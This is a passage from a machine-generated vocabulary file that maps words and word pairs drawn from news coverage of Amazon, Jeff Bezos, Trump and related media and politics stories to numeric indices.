"7nextprevplay slideshowsplitting": 7679, "bezos ownership": 7680, "million copy": 7681, "selling park": 7682, "reconcilable": 7683, "tjl ip": 7684, "betrayed america": 7685, "various sales": 7686, "sales despite": 7687, "services officials": 7688, "chinese imports": 7689, "youth services": 7690, "report cnn": 7691, "clubs trump": 7692, "pre sorted": 7693, "meetings haven": 7694, "chief technology": 7695, "favorite services": 7696, "umi city": 7697, "thr": 7698, "major streaming": 7699, "feminist essay": 7700, "forgotten vegetables": 7701, "szold": 7702, "general carlos": 7703, "slaughter": 7704, "5k day": 7705, "real living": 7706, "619 shares": 7707, "parcel price": 7708, "wilke amazon": 7709, "fvhowpfqiy foxnews": 7710, "fantastical": 7711, "954": 7712, "notable comic": 7713, "preventing corporate": 7714, "onpresident": 7715, "sharing site": 7716, "weapon capable": 7717, "albums": 7718, "places jedi": 7719, "experts works": 7720, "varney trump": 7721, "unheard": 7722, "biased influential": 7723, "supercharging surveillance": 7724, "portfolio wealthtrust": 7725, "transplant": 7726, "groups say": 7727, "death sends": 7728, "performance follow": 7729, "online store": 7730, "reipro": 7731, "meetings": 7732, "cornell university": 7733, "showspinner function": 7734, "wegmans foto": 7735, "fpo": 7736, "2013 reuters": 7737, "crisis yellen": 7738, "legal recourse": 7739, "inquirer": 7740, "levied fines": 7741, "loathed middle": 7742, "support planned": 7743, "saudi citizens": 7744, "commerce consumption": 7745, "hits candy": 7746, "getting competitive": 7747, "barack obama": 7748, "sky headlineplaintext": 7749, "enquirer pecker": 7750, "medications right": 7751, "confirmed": 7752, "describing amazon": 7753, "mini headquarters": 7754, "world second": 7755, "house": 7756, "discriminatory lending": 7757, "w4": 7758, "book summaries": 7759, "american elder": 7760, "160bn thanks": 7761, "significantly guided": 7762, "nasa jet": 7763, "trump copy": 7764, "criticisms suggesting": 7765, "overall revenue": 7766, "human suit": 7767, "title alongside": 7768, "strauss": 7769, "qi charger": 7770, "expressing support": 7771, "nicest suit": 7772, "gates net": 7773, "include celebrations": 7774, "funding governor": 7775, "omnicom": 7776, "red carpet": 7777, "tweets angrily": 7778, "stupid payne": 7779, "268": 7780, "policy transition": 7781, "advertising social": 7782, "aires germany": 7783, "coolest": 7784, "new territory": 7785, "sanders broadsides": 7786, "\u014210": 7787, "cci finally": 7788, "fedex corporation": 7789, "gregobagel": 7790, "term story": 7791, "equally fickle": 7792, "reported mistress": 7793, "meeting resulting": 7794, "putting new": 7795, "democratic caucus": 7796, "fredrik": 7797, "staff defied": 7798, "electronics seller": 7799, "newborn children": 7800, "say listen": 7801, "depicts trump": 7802, "second series": 7803, "man walking": 7804, "solution currently": 7805, "clear trump": 7806, "herbert housing": 7807, "jerrelle": 7808, "working men": 7809, "armed assailants": 7810, "new patents": 7811, "including baseball": 7812, "harry member": 7813, "dealmakers": 7814, "negrete": 7815, "party complete": 7816, "trump broadsides": 7817, "louisiana wearing": 7818, "worries investors": 7819, "dating service": 7820, "result trump": 7821, "recent accenture": 7822, "washed away": 7823, "tavern detroit": 7824, "consolidate": 7825, "98point6 license": 7826, "points demonstrating": 7827, "sciences aws": 7828, "larry neumeister": 7829, "solicit ebay": 7830, "morning lashing": 7831, "eli": 7832, "483 300": 7833, "public trough": 7834, "hubby": 7835, "versus month": 7836, "postal": 7837, "555 474": 7838, "avoid screwing": 7839, "ceo interview": 7840, "memphis amazon": 7841, "french studies": 7842, "bought home": 7843, "bezos plans": 7844, "a4ee f8": 7845, "immigration agents": 7846, "focus": 7847, "uk retail": 7848, "banking": 7849, "knowledge enriching": 7850, "news reports": 7851, "tremaine living": 7852, "violated amazon": 7853, "slew": 7854, "foremost nemesis": 7855, "canada actually": 7856, "transformative": 7857, "school work": 7858, "cnbc make": 7859, "german antitrust": 7860, "wealth usually": 7861, "transnational commodities": 7862, "remain unswerving": 7863, "making run": 7864, "old bosses": 7865, "star jane": 7866, "amrith ramkumar": 7867, "schiff claims": 7868, "index cover": 7869, "entities baring": 7870, "respective journalism": 7871, "new uncertainty": 7872, "filtering": 7873, "500 components": 7874, "sparks": 7875, "house power": 7876, "lot westervelt": 7877, "insured": 7878, "curtain jon": 7879, "counterfeit brand": 7880, "employment practices": 7881, "miraculous": 7882, "reputation bezos": 7883, "flattering": 7884, "place just": 7885, "recommendations photo": 7886, "amazon pirro": 7887, "pause": 7888, "records muckrock": 7889, "multiple specific": 7890, "schaeffer": 7891, "commission ftc": 7892, "pecker cooperation": 7893, "closely mirrored": 7894, "optics": 7895, "doesn matter": 7896, "routing": 7897, "fetched": 7898, "ku klux": 7899, "ideas kind": 7900, "american headquarters": 7901, "drier": 7902, "marvel": 7903, "oilpatch 8217": 7904, "reportedly pursued": 7905, "fodder": 7906, "business leaders": 7907, "china dominance": 7908, "option amazonbasics": 7909, "wickets": 7910, "veteran mark": 7911, "gift": 7912, "punish facebook": 7913, "second thing": 7914, "danielle parhizkaran": 7915, "open 100": 7916, "spotlight today": 7917, "vents": 7918, "manufacturers hammered": 7919, "site chicagoist": 7920, "sound strong": 7921, "denied ford": 7922, "secret probe": 7923, "gas utilities": 7924, "argento original": 7925, "qatar pledges": 7926, "items president": 7927, "reporting revenue": 7928, "offerings space": 7929, "trump material": 7930, "produced 471": 7931, "health related": 7932, "storytelling": 7933, "fortune technology": 7934, "phone 7277761194": 7935, "salacious details": 7936, "lowest union": 7937, "celebrity journalism": 7938, "check": 7939, "survive": 7940, "pg delayed": 7941, "considering defining": 7942, "436": 7943, "heir big": 7944, "iq": 7945, "pentagon think": 7946, "etiquette": 7947, "icann relevant": 7948, "vudu private": 7949, "constitution favoring": 7950, "regulatory filing": 7951, "trump certainly": 7952, "warren proposal": 7953, "oscar celebration": 7954, "wsj amanda": 7955, "vigil": 7956, "media feel": 7957, "denied responsibility": 7958, "users interacted": 7959, "participating employer": 7960, "don shoot": 7961, "alabama bait": 7962, "years says": 7963, "close delivery": 7964, "frighteningly easy": 7965, "safety departments": 7966, "activist": 7967, "memo jan": 7968, "hits close": 7969, "rgj": 7970, "jealous": 7971, "ending temper": 7972, "groused": 7973, "message preceded": 7974, "examples cnn": 7975, "month blaming": 7976, "bespoke investment": 7977, "crystal lucy": 7978, "acting attorney": 7979, "heroes": 7980, "766th": 7981, "adventures safer": 7982, "reader": 7983, "itat garbage": 7984, "waters trump": 7985, "jeff hutcheson": 7986, "farmers carmakers": 7987, "pr victory": 7988, "chinese political": 7989, "sales amazon": 7990, "pence urges": 7991, "total officials": 7992, "healthcare burden": 7993, "plan execute": 7994, "washington office": 7995, "718": 7996, "beast did": 7997, "2018 just": 7998, "israel asking": 7999, "year president": 8000, "plunkett noted": 8001, "symbol": 8002, "george rooney": 8003, "think today": 8004, "peter foley": 8005, "threatened blackmail": 8006, "tariffs says": 8007, "bloomin": 8008, "845m": 8009, "media network": 8010, "tory told": 8011, "guides using": 8012, "100 growth": 8013, "union charged": 8014, "company investments": 8015, "ricky gervaiss": 8016, "customer knowledge": 8017, "marty wanted": 8018, "importer": 8019, "president preferred": 8020, "shoulder rubbing": 8021, "storing packing": 8022, "vegetable": 8023, "need divine": 8024, "central valley": 8025, "warrant unless": 8026, "products just": 8027, "way postal": 8028, "year contributed": 8029, "crisis": 8030, "768": 8031, "3gb 32gb": 8032, "heads apple": 8033, "deficiency": 8034, "covered amazon": 8035, "services consulting": 8036, "congolese": 8037, "related critics": 8038, "malware increased": 8039, "buy broad": 8040, "striking": 8041, "intelligent people": 8042, "1994 according": 8043, "cost negotiations": 8044, "cleveland browns": 8045, "lefty won": 8046, "thought law": 8047, "platform integral": 8048, "technology email": 8049, "gamer": 8050, "law central": 8051, "play amazon": 8052, "positive comment": 8053, "government heralds": 8054, "misleadingly": 8055, "recently harley": 8056, "civic foundation": 8057, "kill mockingbird": 8058, "trump contributed": 8059, "locals mad": 8060, "setting record": 8061, "scan numerous": 8062, "spyjust weeks": 8063, "threaten media": 8064, "companies amid": 8065, "gop standard": 8066, "blumhouse": 8067, "portfolio bristol": 8068, "identify guidance": 8069, "workplace abuse": 8070, "tabloid fodder": 8071, "coalson rfe": 8072, "doesn love": 8073, "takes charge": 8074, "credit says": 8075, "mccartney amazon": 8076, "naughty sexts": 8077, "warmer climate": 8078, "flooding houston": 8079, "numerous jurisdictions": 8080, "provide updated": 8081, "decided long": 8082, "2019 paper": 8083, "namesake software": 8084, "vancouver studios": 8085, "jr eric": 8086, "tornado warning": 8087, "facing boycott": 8088, "little earlier": 8089, "chang dong": 8090, "1st": 8091, "including busing": 8092, "shooter situation": 8093, "qualified educational": 8094, "rejected trumps": 8095, "alleging trademark": 8096, "884 worth": 8097, "composite rating": 8098, "family shelters": 8099, "jump start": 8100, "illegally obtained": 8101, "receive food": 8102, "council doesn": 8103, "cooperation program": 8104, "shortly": 8105, "stranded": 8106, "malinowski": 8107, "digit range": 8108, "earned trump": 8109, "competitor told": 8110, "collapse": 8111, "release issued": 8112, "reporter libby": 8113, "high state": 8114, "cross burning": 8115, "cinema capitol": 8116, "circuitous career": 8117, "cold day": 8118, "influence jeff": 8119, "looks suspiciously": 8120, "author averaged": 8121, "wife meets": 8122, "mississippi amazon": 8123, "ap arkansas": 8124, "hideaways intimate": 8125, "testimony revelations": 8126, "seeing people": 8127, "low hanging": 8128, "hr work": 8129, "positive step": 8130, "2019 olive": 8131, "sure packages": 8132, "group": 8133, "descriptiontext": 8134, "automated calls": 8135, "city va": 8136, "state common": 8137, "bogota": 8138, "wapo associate": 8139, "merits argued": 8140, "attacks raising": 8141, "nbcuniversal media": 8142, "sets dangerous": 8143, "treat india": 8144, "post reporter": 8145, "phone company": 8146, "journalist critical": 8147, "check european": 8148, "inflation": 8149, "courage lever": 8150, "amazon expert": 8151, "british tax": 8152, "key senator": 8153, "858m": 8154, "khashoggi whatsapp": 8155, "financial service": 8156, "publishers recording": 8157, "early example": 8158, "covington student": 8159, "right wrong": 8160, "democrats whopping": 8161, "stake billionaire": 8162, "amazon prefer": 8163, "pay tax": 8164, "heterodox economics": 8165, "11319": 8166, "routes early": 8167, "brad plumer": 8168, "company high": 8169, "security funds": 8170, "products nike": 8171, "direct insult": 8172, "closely mirror": 8173, "indifferent titles": 8174, "administration tries": 8175, "month researchers": 8176, "twitter pulpit": 8177, "soaringly beautiful": 8178, "edging closer": 8179, "faces fine": 8180, "soy production": 8181, "reviews sites": 8182, "actual kids": 8183, "2019 sales": 8184, "reactid 199": 8185, "eligibility": 8186, "budgeted nature": 8187, "refused instead": 8188, "ordering hundreds": 8189, "issues resolved": 8190, "walmart marketplace": 8191, "moves forward": 8192, "wars proposals": 8193, "ruth marcus": 8194, "trillion usa": 8195, "revenue rises": 8196, "morse 2019": 8197, "llc owns": 8198, "extensive": 8199, "cowboys available": 8200, "site traffic": 8201, "documents force": 8202, "broker gop": 8203, "necessary inside": 8204, "follow times": 8205, "bluest": 8206, "activision blizzard": 8207, "proposed tunneling": 8208, "reinforces": 8209, "current campaign": 8210, "reporting smoke": 8211, "really": 8212, "makes things": 8213, "flex drivers": 8214, "children lauren": 8215, "plants shortages": 8216, "disclosure citizens": 8217, "amazon income": 8218, "uncoupling": 8219, "company tax": 8220, "trump open": 8221, "internet reveals": 8222, "bad actors": 8223, "new orders": 8224, "written multiple": 8225, "9411680da8c6402caa7d14b071daa953": 8226, "1985 welles": 8227, "hasn opened": 8228, "entire states": 8229, "armed": 8230, "852 shares": 8231, "suffolk county": 8232, "significantly scaled": 8233, "times headlined": 8234, "identity politics": 8235, "tester mont": 8236, "suharto": 8237, "johnking": 8238, "schisms": 8239, "nelp org": 8240, "reuters india": 8241, "mind despite": 8242, "bezos tops": 8243, "videotape kate": 8244, "4m": 8245, "army version": 8246, "kazakoff": 8247, "sciences presenting": 8248, "greatest villains": 8249, "sell papers": 8250, "fox movie": 8251, "jordi": 8252, "girls education": 8253, "2019 according": 8254, "profits": 8255, "pension happy": 8256, "kleponis democrats": 8257, "easily afford": 8258, "wealth climbed": 8259, "debt 2018": 8260, "paulson trade": 8261, "elastic block": 8262, "ami chair": 8263, "making just": 8264, "software based": 8265, "provide evidence": 8266, "hate organization": 8267, "talk bad": 8268, "election mistaken": 8269, "poked holes": 8270, "nutrition director": 8271, "atf confirms": 8272, "bank routing": 8273, "sharing revenue": 8274, "model using": 8275, "amazon future": 8276, "283 increase": 8277, "dltr investors": 8278, "757": 8279, "era risk": 8280, "manish": 8281, "rapidly adding": 8282, "finally facing": 8283, "recent elections": 8284, "ipo 2019": 8285, "scope isn": 8286, "expel corrupt": 8287, "finance": 8288, "fox prime": 8289, "hastily named": 8290, "house restore": 8291, "evolved basis": 8292, "foy returns": 8293, "major deforesters": 8294, "contractors including": 8295, "massachusetts man": 8296, "taylor dillards": 8297, "crypto": 8298, "semi warns": 8299, "outcomes gained": 8300, "post newspaper": 8301, "ran stories": 8302, "rise extolling": 8303, "wego": 8304, "sports network": 8305, "china bring": 8306, "states citizenship": 8307, "pena nieto": 8308, "london west": 8309, "largest aluminum": 8310, "gunman opened": 8311, "nashville tn": 8312, "improve behavior": 8313, "democratic women": 8314, "bad reviews": 8315, "michael alison": 8316, "estimated": 8317, "deliveries grocery": 8318, "jassy virginia": 8319, "addicted": 8320, "increase": 8321, "short term": 8322, "minus roseanne": 8323, "raising amazon": 8324, "150 search": 8325, "including 180": 8326, "state 228": 8327, "titles spicer": 8328, "du": 8329, "exclusively used": 8330, "unique": 8331, "beirut": 8332, "probably lose": 8333, "warren president": 8334, "contradictory reports": 8335, "effectively wiping": 8336, "corporate groupthink": 8337, "business katera": 8338, "netnewsledger news": 8339, "released letter": 8340, "doesn tbelieve": 8341, "annual midsummer": 8342, "twitter feed": 8343, "wong afp": 8344, "healthcare venture": 8345, "major story": 8346, "ecommerce gross": 8347, "binds": 8348, "require lawmakers": 8349, "competition calculated": 8350, "intel corp": 8351, "newsworthy events": 8352, "message warning": 8353, "economic competition": 8354, "murphy american": 8355, "ohio data": 8356, "traced act": 8357, "events read": 8358, "tax expense": 8359, "716": 8360, "investment plan": 8361, "subsections": 8362, "market foundation": 8363, "recently announced": 8364, "repair": 8365, "1051 bought": 8366, "ceo luck": 8367, "nonetheless fall": 8368, "begala kind": 8369, "begun redirecting": 8370, "irresistible target": 8371, "wanted worlds": 8372, "best poverty": 8373, "just thought": 8374, "called falcon": 8375, "says carbon": 8376, "declined quite": 8377, "investigative reporting": 8378, "mueller tells": 8379, "womack ark": 8380, "bluntly federal": 8381, "lightfoot massey": 8382, "public opinion": 8383, "coms": 8384, "playing politics": 8385, "paper distributed": 8386, "pay period": 8387, "arlington va": 8388, "talks leading": 8389, "post persistent": 8390, "money honey": 8391, "survival rates": 8392, "messaging sensible": 8393, "typical underdog": 8394, "potential charges": 8395, "public statements": 8396, "liberal activists": 8397, "amazon pac": 8398, "straining": 8399, "continues affects": 8400, "make love": 8401, "truly gargantuan": 8402, "american corporation": 8403, "business san": 8404, "allegations according": 8405, "rotten things": 8406, "provide affordable": 8407, "profitable arena": 8408, "maloney helps": 8409, "nationalize google": 8410, "retinol skincare": 8411, "trump dislike": 8412, "bomb dna": 8413, "moody shea": 8414, "aqua": 8415, "deliveries obviously": 8416, "thanks good": 8417, "multiple cloud": 8418, "brown hair": 8419, "speak iche": 8420, "wildcard": 8421, "company capable": 8422, "police make": 8423, "classic memorabilia": 8424, "collapse championing": 8425, "hudsons": 8426, "toeing": 8427, "information answered": 8428, "potential upside": 8429, "amzn retail": 8430, "results unless": 8431, "representative joaquin": 8432, "giants google": 8433, "vaunted second": 8434, "anau": 8435, "dario argento": 8436, "agony": 8437, "recent analysis": 8438, "monstrous caravans": 8439, "aesthetic taste": 8440, "city ticketing": 8441, "david leonhardt": 8442, "results disgrace": 8443, "sheer scale": 8444, "\u01421": 8445, "1854": 8446, "strange magic": 8447, "future innovations": 8448, "favreau": 8449, "long mainstay": 8450, "senior level": 8451, "records times": 8452, "congo": 8453, "trajectory": 8454, "cnn politics": 8455, "termism": 8456, "dreidel company": 8457, "ore wants": 8458, "strategist 2018": 8459, "veterans affairs": 8460, "host anderson": 8461, "hawaii cnn": 8462, "sided coverage": 8463, "future neighbors": 8464, "significant anti": 8465, "member andy": 8466, "fox news": 8467, "amazon bobby": 8468, "iduskcn1ly16z": 8469, "assemble": 8470, "app remains": 8471, "wannabe horror": 8472, "100 employees": 8473, "prices proposals": 8474, "gluey substances": 8475, "shipping real": 8476, "committee subcommittee": 8477, "favors": 8478, "w0q0fg0otk seth": 8479, "collective sense": 8480, "degrade": 8481, "street guru": 8482, "global print": 8483, "environmental reasons": 8484, "bezos ami": 8485, "dol\u0161ak": 8486, "female yes": 8487, "rupkey chief": 8488, "power wasn": 8489, "yesterday wrote": 8490, "contribution early": 8491, "42496460 960x0": 8492, "new treat": 8493, "jedi bidders": 8494, "helms": 8495, "lohr": 8496, "intense competition": 8497, "addabbo believes": 8498, "gawande 2009": 8499, "week tried": 8500, "wpix tv": 8501, "offer artificial": 8502, "facilitated inflow": 8503, "1vj1jfquyc": 8504, "night statement": 8505, "wong north": 8506, "humor": 8507, "understand reality": 8508, "var l8": 8509, "countries torel": 8510, "mind boggling": 8511, "keith ellison": 8512, "president missed": 8513, "note": 8514, "publicly named": 8515, "spokesman added": 8516, "reviews film": 8517, "year parents": 8518, "facebook investor": 8519, "fmcsa published": 8520, "drive usa": 8521, "logo amafonz": 8522, "certain demographics": 8523, "biodiversity worldwide": 8524, "nyt battle": 8525, "highest homeless": 8526, "child bearing": 8527, "violence sulzberger": 8528, "trampling indigenous": 8529, "politics twitter": 8530, "devries": 8531, "executive dow": 8532, "customers outside": 8533, "internal meeting": 8534, "spotty": 8535, "fireside": 8536, "d1duukadczlbnn": 8537, "adobe products": 8538, "ac 360": 8539, "year yearly": 8540, "lower chamber": 8541, "enquirer network": 8542, "email lnahmias": 8543, "american cities": 8544, "plans incorporated": 8545, "policy changes": 8546, "icann reforms": 8547, "post today": 8548, "648": 8549, "need legitimacy": 8550, "platform shopping": 8551, "did amazon": 8552, "sawn oak": 8553, "medicare public": 8554, "reich explains": 8555, "probably available": 8556, "shares amazon": 8557, "shown kissing": 8558, "bonanza triggered": 8559, "war markets": 8560, "active sellers": 8561, "reporter wall": 8562, "advisors llc": 8563, "try using": 8564, "earmarked": 8565, "post nuptial": 8566, "recent tgv": 8567, "francisco additional": 8568, "narrators": 8569, "press russia": 8570, "priya singh": 8571, "tasty lookin": 8572, "smith": 8573, "falling asleep": 8574, "trump did": 8575, "african museums": 8576, "amd chips": 8577, "montessori principles": 8578, "atkins": 8579, "government funded": 8580, "wing public": 8581, "house representatives": 8582, "hands jeff": 8583, "country increasingly": 8584, "giving evidence": 8585, "hamilton place": 8586, "writing secret": 8587, "stingy": 8588, "clapped": 8589, "unexpected opportunities": 8590, "asking specifically": 8591, "city 2017": 8592, "flag different": 8593, "tarby": 8594, "drive high": 8595, "article37487877": 8596, "boycottebay gerald": 8597, "immediately different": 8598, "medicine corey": 8599, "hugenesses": 8600, "remember thousands": 8601, "amap\u00e1": 8602, "ongoing purge": 8603, "miami customers": 8604, "points president": 8605, "strive": 8606, "advice seeing": 8607, "typical approvals": 8608, "allegations venezuela": 8609, "digital landscape": 8610, "nose": 8611, "smack": 8612, "apprentice tapes": 8613, "kept mackenzie": 8614, "currently covering": 8615, "joanna gaines": 8616, "guyana": 8617, "lobby trump": 8618, "abortion affirmative": 8619, "inquisitr reported": 8620, "netflix cravetv": 8621, "toronto second": 8622, "millie": 8623, "phones": 8624, "state think": 8625, "shot late": 8626, "exculpatory evidence": 8627, "cargo hub": 8628, "charles duhigg": 8629, "447 worth": 8630, "alive unheard": 8631, "breaks ground": 8632, "medium entitled": 8633, "speaker pelosi": 8634, "reportedly explored": 8635, "florida nevada": 8636, "meaningful action": 8637, "art collectors": 8638, "katharine graham": 8639, "analyst noted": 8640, "incur extra": 8641, "marginal impact": 8642, "higher quality": 8643, "inviting increasing": 8644, "logging indigenous": 8645, "labor dispute": 8646, "air gateways": 8647, "john gress": 8648, "entire year": 8649, "yahoo news": 8650, "vince": 8651, "read netflix": 8652, "outposts equipped": 8653, "immediately visit": 8654, "mccain obama": 8655, "expenses": 8656, "function d4": 8657, "200 positions": 8658, "holland historic": 8659, "results antitrust": 8660, "provocateur": 8661, "read vivek": 8662, "tailored suits": 8663, "campaign insiders": 8664, "ernst intalled": 8665, "evading": 8666, "current mayor": 8667, "street responded": 8668, "mansion amazon": 8669, "expectations following": 8670, "current numbers": 8671, "requiring companies": 8672, "editorial cartoon": 8673, "expected retail": 8674, "day outage": 8675, "us52 billion": 8676, "rosslyn resident": 8677, "contract worth": 8678, "lists young": 8679, "type loans": 8680, "charge taxes": 8681, "administration led": 8682, "buettner": 8683, "capital mngmt": 8684, "bureau cfpb": 8685, "outmaneuvered": 8686, "summits": 8687, "762": 8688, "cayne turned": 8689, "ansolabehere": 8690, "beyonc\u00e9 reinforces": 8691, "typically recover": 8692, "bends": 8693, "657": 8694, "zuckerberg steadiness": 8695, "says unfairly": 8696, "vietnamese restaurant": 8697, "aggressively pursuing": 8698, "todd host": 8699, "betrayal maybe": 8700, "staff rely": 8701, "bezos complete": 8702, "obama uses": 8703, "current responses": 8704, "works public": 8705, "vandehei": 8706, "warren rode": 8707, "trump ascension": 8708, "president issued": 8709, "aclu amazon": 8710, "conduction": 8711, "ex lawyer": 8712, "cambridge analytica": 8713, "herera nightly": 8714, "service hundreds": 8715, "think history": 8716, "distribute share": 8717, "actively ignore": 8718, "clouds gathering": 8719, "campaign document": 8720, "engine market": 8721, "dramatic": 8722, "paint job": 8723, "spy machine": 8724, "philanthropy believe": 8725, "phosphonate chemical": 8726, "purveying": 8727, "military spending": 8728, "france african": 8729, "hathaway brka": 8730, "mechanical": 8731, "environmental agreements": 8732, "donna romney": 8733, "important data": 8734, "nvidia": 8735, "common charge": 8736, "original tv": 8737, "nascent": 8738, "great time": 8739, "dana": 8740, "support child": 8741, "simpsons": 8742, "campbell talks": 8743, "county portion": 8744, "state joel": 8745, "wailing wall": 8746, "automation tools": 8747, "model european": 8748, "jwn": 8749, "felt horrible": 8750, "district view": 8751, "david mercer": 8752, "american champion": 8753, "396": 8754, "gusts cause": 8755, "avid supporter": 8756, "givenchy": 8757, "uw quad": 8758, "trustees voted": 8759, "include physical": 8760, "hike short": 8761, "charged know": 8762, "great american": 8763, "central african": 8764, "lower profile": 8765, "hazardous rail": 8766, "practices administration": 8767, "believes backdoor": 8768, "hostile atmosphere": 8769, "physical barrier": 8770, "organization finally": 8771, "allow isps": 8772, "blues eliana": 8773, "board vote": 8774, "hall speakers": 8775, "administers government": 8776, "netflix determined": 8777, "stanage": 8778, "leave workers": 8779, "gb e0": 8780, "club resist": 8781, "airport style": 8782, "google chief": 8783, "just target": 8784, "shirts sporting": 8785, "quotient aq": 8786, "fully understands": 8787, "600mil": 8788, "questions republicans": 8789, "measure": 8790, "latino students": 8791, "filing season": 8792, "instantly assume": 8793, "markets extended": 8794, "political leanings": 8795, "reach customers": 8796, "pro business": 8797, "duty sen": 8798, "city bid": 8799, "catz complained": 8800, "onewest foreclosures": 8801, "throws allegations": 8802, "rnc ronna": 8803, "semiconductors": 8804, "imagine kavanaugh": 8805, "numbers cuomo": 8806, "fighting crime": 8807, "oushe airs": 8808, "asks alexa": 8809, "amid": 8810, "worldcup": 8811, "day according": 8812, "exposed republicans": 8813, "facilitating": 8814, "covucci david": 8815, "shares campbell": 8816, "largest stockholder": 8817, "income women": 8818, "mail letters": 8819, "kcdevilmagic": 8820, "successfully implemented": 8821, "story playbook": 8822, "single person": 8823, "counter intuitive": 8824, "focus instead": 8825, "lorena amazon": 8826, "collects state": 8827, "chiefly": 8828, "host agency": 8829, "market instead": 8830, "hot spots": 8831, "statement versus": 8832, "called brand": 8833, "story today": 8834, "newsworthy": 8835, "division shocking": 8836, "treasury notes": 8837, "streets south": 8838, "powering trump": 8839, "brown young": 8840, "wealth embedded": 8841, "sporkful": 8842, "employees developing": 8843, "document released": 8844, "giving spirit": 8845, "craft regulations": 8846, "decision today": 8847, "beyonce nutrition": 8848, "far ruled": 8849, "campaign financing": 8850, "coveted pentagon": 8851, "middlesex": 8852, "hacking": 8853, "include fake": 8854, "apple confusion": 8855, "director dead": 8856, "supports projects": 8857, "organizational session": 8858, "proposing public": 8859, "size president": 8860, "correspondence calling": 8861, "overshadow competitors": 8862, "raton explores": 8863, "sonne wapo": 8864, "clinton mail": 8865, "internet activists": 8866, "pregnancy omg": 8867, "xlsxh1xyny business": 8868, "trump resents": 8869, "straightforward pricing": 8870, "deal ain": 8871, "rescued politically": 8872, "healthcare advertising": 8873, "attorney won": 8874, "female governors": 8875, "mainstream conservative": 8876, "encouraging aspiring": 8877, "motto commit": 8878, "fan clubs": 8879, "strong retailers": 8880, "priciest": 8881, "secretary brezhnev": 8882, "money schemes": 8883, "000 operating": 8884, "wild west": 8885, "algorithm jason": 8886, "took": 8887, "long live": 8888, "yahoo view": 8889, "start celebrating": 8890, "fall creators": 8891, "largest workforce": 8892, "mike doyle": 8893, "potential role": 8894, "press briefings": 8895, "different ones": 8896, "bestseller": 8897, "skdknickerbocker executives": 8898, "keeping taxes": 8899, "finance article": 8900, "stolen keith": 8901, "monitoring carefully": 8902, "developments providing": 8903, "ongoing russia": 8904, "1960 style": 8905, "wing conservatives": 8906, "information usually": 8907, "bruce linton": 8908, "owner newspaper": 8909, "sorry fell": 8910, "0000": 8911, "horizon skift": 8912, "election ap": 8913, "playtime greer": 8914, "impracticable": 8915, "news conferences": 8916, "president feelings": 8917, "overview": 8918, "flagship trade": 8919, "manhood": 8920, "corrugated cardboard": 8921, "american af": 8922, "centers sound": 8923, "norris told": 8924, "electoral victory": 8925, "market stresses": 8926, "critical intermediaries": 8927, "brand birkenstock": 8928, "2019 investors": 8929, "modification": 8930, "bezos vast": 8931, "host small": 8932, "set trump": 8933, "gonna win": 8934, "yorker reporter": 8935, "surprises": 8936, "saving commitment": 8937, "quarter private": 8938, "receive multiple": 8939, "wouldn need": 8940, "vinograd turns": 8941, "earlier": 8942, "offered advice": 8943, "best meet": 8944, "checkers": 8945, "poorly apparently": 8946, "form affirming": 8947, "grand wizard": 8948, "unsealed": 8949, "claudette barius": 8950, "threat right": 8951, "kasie": 8952, "jaw dropper": 8953, "towers instead": 8954, "heroes stan": 8955, "wrongly conclude": 8956, "people muslims": 8957, "possible reception": 8958, "mobilized": 8959, "sebastian utilizing": 8960, "sharply increase": 8961, "aides": 8962, "space rocket": 8963, "stop digging": 8964, "states district": 8965, "american products": 8966, "johnston reporter": 8967, "played baseball": 8968, "force package": 8969, "theus": 8970, "shutdown": 8971, "amazon track": 8972, "value canopy": 8973, "worst case": 8974, "bryan pagliano": 8975, "robotic voice": 8976, "shortened week": 8977, "public property": 8978, "charm offensive": 8979, "guaido": 8980, "facts forbes": 8981, "negotiated walker": 8982, "epithet": 8983, "york emergency": 8984, "simple money": 8985, "market shen": 8986, "enjoyed increased": 8987, "new requirement": 8988, "called private": 8989, "3275 aut_name": 8990, "suspended following": 8991, "reimburse amazon": 8992, "year looking": 8993, "john brennan": 8994, "candidates debate": 8995, "live guest": 8996, "debates bezos": 8997, "shoppers network": 8998, "bob spitz": 8999, "home affairs": 9000, "usatoda navy": 9001, "tax money": 9002, "extraordinarily unusual": 9003, "editors responsible": 9004, "lasser base": 9005, "article continues": 9006, "llc based": 9007, "rekognition regarding": 9008, "needs access": 9009, "cnl_global_nav_background_color": 9010, "dartmouth college": 9011, "finished shaping": 9012, "argument wasn": 9013, "1552 bought": 9014, "u2x m8": 9015, "press criminal": 9016, "company avoided": 9017, "recreational drug": 9018, "connected texas": 9019, "make neighborhoods": 9020, "leads crowd": 9021, "story nutanix": 9022, "meet blaise": 9023, "american collective": 9024, "trump jumped": 9025, "programs sanders": 9026, "trump declares": 9027, "huge fan": 9028, "antitrust officials": 9029, "length 15661": 9030, "treasury proposed": 9031, "true journalism": 9032, "conspiracy facebook": 9033, "amazon single": 9034, "rigging": 9035, "napoleon dynamite": 9036, "couldn care": 9037, "pleaded": 9038, "manor neighborhood": 9039, "online censorship": 9040, "satire": 9041, "just million": 9042, "acuity systems": 9043, "official mary": 9044, "believed michael": 9045, "fat acid": 9046, "embarrassing text": 9047, "nixon white": 9048, "large american": 9049, "deep financial": 9050, "zamonski ocala": 9051, "president climate": 9052, "sinclair broadcasting": 9053, "growing private": 9054, "houldsworth": 9055, "pit bulls": 9056, "censorship jeff": 9057, "midterms midterm": 9058, "a4ee a1": 9059, "course heavily": 9060, "sobering glimpse": 9061, "dorsey noted": 9062, "sell appliances": 9063, "business advocate": 9064, "wsfolders": 9065, "obscure": 9066, "51492 aut_twitter_id": 9067, "omar story": 9068, "yale": 9069, "reported 55m": 9070, "katchen wealthsimple": 9071, "benefit amazon": 9072, "think lot": 9073, "diversify": 9074, "congressional requirements": 9075, "time congratulated": 9076, "unique opportunity": 9077, "566 000": 9078, "sketchy deals": 9079, "foxconn obviously": 9080, "jeffries calls": 9081, "sinnet owns": 9082, "times greater": 9083, "content movies": 9084, "second interested": 9085, "ballot line": 9086, "afp juan": 9087, "partnership offers": 9088, "conditions employees": 9089, "texas helicopter": 9090, "politics called": 9091, "blitzkrieg blog": 9092, "service fy17": 9093, "medium outlining": 9094, "major loss": 9095, "broader market": 9096, "bezos kept": 9097, "basic premise": 9098, "michelle miller": 9099, "life movie": 9100, "bowl bezos": 9101, "president theenquirer": 9102, "growing set": 9103, "pixar movie": 9104, "soliciting bribe": 9105, "savino": 9106, "opinion brian": 9107, "world scenarios": 9108, "sam samswhey": 9109, "app crashed": 9110, "chewing performances": 9111, "trump territory": 9112, "streaming market": 9113, "announced apple": 9114, "iconic": 9115, "million consumer": 9116, "fedex pared": 9117, "implication sought": 9118, "liam denning": 9119, "exactly try": 9120, "basically": 